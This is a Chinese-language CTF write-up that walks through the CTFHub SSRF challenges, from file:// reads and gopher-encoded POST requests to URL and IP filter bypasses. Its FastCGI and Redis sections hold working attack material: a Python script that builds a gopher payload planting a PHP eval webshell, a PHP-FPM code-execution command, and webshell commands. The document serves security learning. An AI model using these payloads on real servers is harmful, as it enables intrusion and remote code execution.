CTFHub-SSRF学习
0x00 前言
菜鸡记录汇总下SSRF的学习过程,这个题目设置的难度不合理,后四题贼简单,难度却最高。。。,就离谱。
0x01 内网访问
题目:尝试访问位于127.0.0.1的flag.php吧
启动环境,url显示xxxx/?url=_
,SSRF(Server-SideRequestForgery)是服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制。这道题,我们可以指定URL地址从而获取网页文本内容,所以直接改成127.0.0.1/flag.php
即可。
0x02 伪协议读取文件
题目:尝试去读取一下Web目录下的flag.php吧
Web目录的路径是/var/www/html/
,启动环境,url显示xxxx/?url=_
,这题的考点应该是利用file协议读取本地文件,改为file:///var/www/html/flag.php
,出现三个?,查看源代码,即可得到flag。
0x03 端口扫描
题目:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦
使用Burp设置/?url=127.0.0.1:§8000§
,在intruder设置PayLoad Type为number,From:8000To:9000,Step:1。发现在8462端口,长度有明显差异。
0x04 POST请求
题目:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年
直接访问flag.php显示,Just View From 127.0.0.1,构造url变量,访问url/?url=http://127.0.0.1/flag.php
,出现一个输入框,查看源码。
302是重定向又称之为暂时性转移,一条对网站浏览器的指令来显示浏览器被要求显示的不同的URL,当一个网页经历过短期的URL的变化时使用。一个暂时重定向是一种服务器端的重定向,能够被搜索引擎蜘蛛正确地处理。不过302.php访问不了,不知道为啥。
输入url?url=file
:///var/www/html/flag.php
查看下源代码,可以发现需要post一个key值。
需要利用gopher协议来构造post请求,post的数据包的格式大致如下:
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=882ba9ee8557373dce7b058bb80ed9d6
将上面的POST数据包先进行1次URL编码,URL编码的次数主要取决于你请求的次数,然后换行符是%0d%0a
,把%0A替换成%0d%0A,结尾补上%0d%0A。
|
|
再进行一次URL编码
|
|
最后的利用curl
补充知识:
-v 详细(在事件循环中打印错误/警告)
-vv 非常详细(也打印客户端命令/ reponses )
-vvv 非常详细(也打印内部状态转换)
0x05 上传文件
题目:这次需要上传一个文件到flag.php了.祝你好运。
构造url?url=http://127.0.0.1/flag.php
再利用file协议读一下源代码。
编辑下html,然后上传一个非空文件。
<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="上传">
</form>
利用bp抓包,出现Just View From 127.0.0.1。
POST /flag.php HTTP/1.1
Host: challenge-839040a464e49915.sandbox.ctfhub.com:10800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------41538798404609826121560554440
Content-Length: 218
Origin: http://challenge-839040a464e49915.sandbox.ctfhub.com:10800
Connection: keep-alive
Referer: http://challenge-839040a464e49915.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
-----------------------------41538798404609826121560554440
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
123
-----------------------------41538798404609826121560554440--
经过一次url编码,%0A全部替换成%0d%0A
|
|
再经过一次url编码
|
|
使用gopher协议访问,成功得到flag。
0x06 FastCGI协议
题目:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助
提供了一个附件https://blog.csdn.net/mysteryflower/article/details/94386461,这里同样参考了https://www.soapffz.com/sec/ctf/566.html
Nginx(IIS7)解析漏洞
在用户访问 http://127.0.0.1/favicon.ico/.php
时,访问到的文件是 favicon.ico,但却按照.php 后缀解析了,而这个指定的文件涉及到的关键变量为 “SCRIPT_FILENAME”;正常来说,SCRIPT_FILENAME 的值是一个不存在的文件 /var/www/html/favicon.ico/.php,是 PHP 设置中的一个选项 fix_pathinfo 导致了这个漏洞。PHP 为了支持 Path Info 模式而创造了 fix_pathinfo,在这个选项被打开的情况下,fpm 会判断 SCRIPT_FILENAME 是否存在,如果不存在则去掉最后一个 / 及以后的所有内容,再次判断文件是否存在,往次循环,直到文件存在。
PHP-FPM未授权访问漏洞
PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
在fpm某个版本之前,我们可以将SCRIPT_FILENAME
的值指定为任意后缀文件,比如/etc/passwd
;但后来,fpm的默认配置中增加了一个选项security.limit_extensions
:
security.limit_extensions = .php .php3 .php4 .php5 .php7
其限定了只有某些后缀的文件允许被fpm执行,默认是.php
。所以,当我们再传入/etc/passwd
的时候,将会返回Access denied
。
由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。
万幸的是,通常使用源安装php的时候,服务器上都会附带一些php后缀的文件,我们使用find / -name "*.php"
来全局搜索一下默认环境,假设我们爆破不出来目标环境的web目录,我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php
。
任意代码执行
PHP.INI中有两个有趣的配置项,auto_prepend_file
和auto_append_file
。auto_prepend_file
是告诉PHP,在执行目标文件之前,先包含auto_prepend_file
中指定的文件;auto_append_file
是告诉PHP,在执行完成目标文件后,包含auto_append_file
指向的文件。
假设我们设置auto_prepend_file
为php://input
,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include
)
PHP_VALUE
和PHP_ADMIN_VALUE
。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE
可以设置模式为PHP_INI_USER
和PHP_INI_ALL
的选项,PHP_ADMIN_VALUE
可以设置所有选项。(disable_functions
除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)
环境变量:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
设置auto_prepend_file = php://input
且allow_url_include = On
,然后将我们需要执行的代码放在Body中,即可执行任意代码。
EXP:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
usage: fpm.py [-h] [-c CODE] [-p PORT] host file
执行命令
python3 fpm.py -c "<?php var_dump(shell_exec('ls /'));?>" -p 9000 127.0.0.1 /usr/local/lib/php/PEAR.php
利用hexdump或xxd查看数据流和元数据。
提出来后进行url编码
|
|
利用工具构造
再进行一次url加密,得到最后的payload。
|
|
0x07 Redis协议
题目:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!
参考https://xz.aliyun.com/t/5665
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print (payload)
再经过url编码
|
|
执行url/shell.php?cmd=system('find / -name flag*');
,找到可疑文件。
cat一下就出来flag了。
0x08 URL Bypass
题目:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
构造url?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
0x09 数字IP Bypass
题目:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
转换成16进制,构造url?url=0x7f000001/flag.php
0x0A 302跳转 Bypass
题目:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
先直接构造url?url=127.0.0.1/flag.php
访问
改成localhost,成功。
0x0B DNS重绑定 Bypass
关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助
提供了一个附件:https://zhuanlan.zhihu.com/p/89426041
答案参考附件就出来了。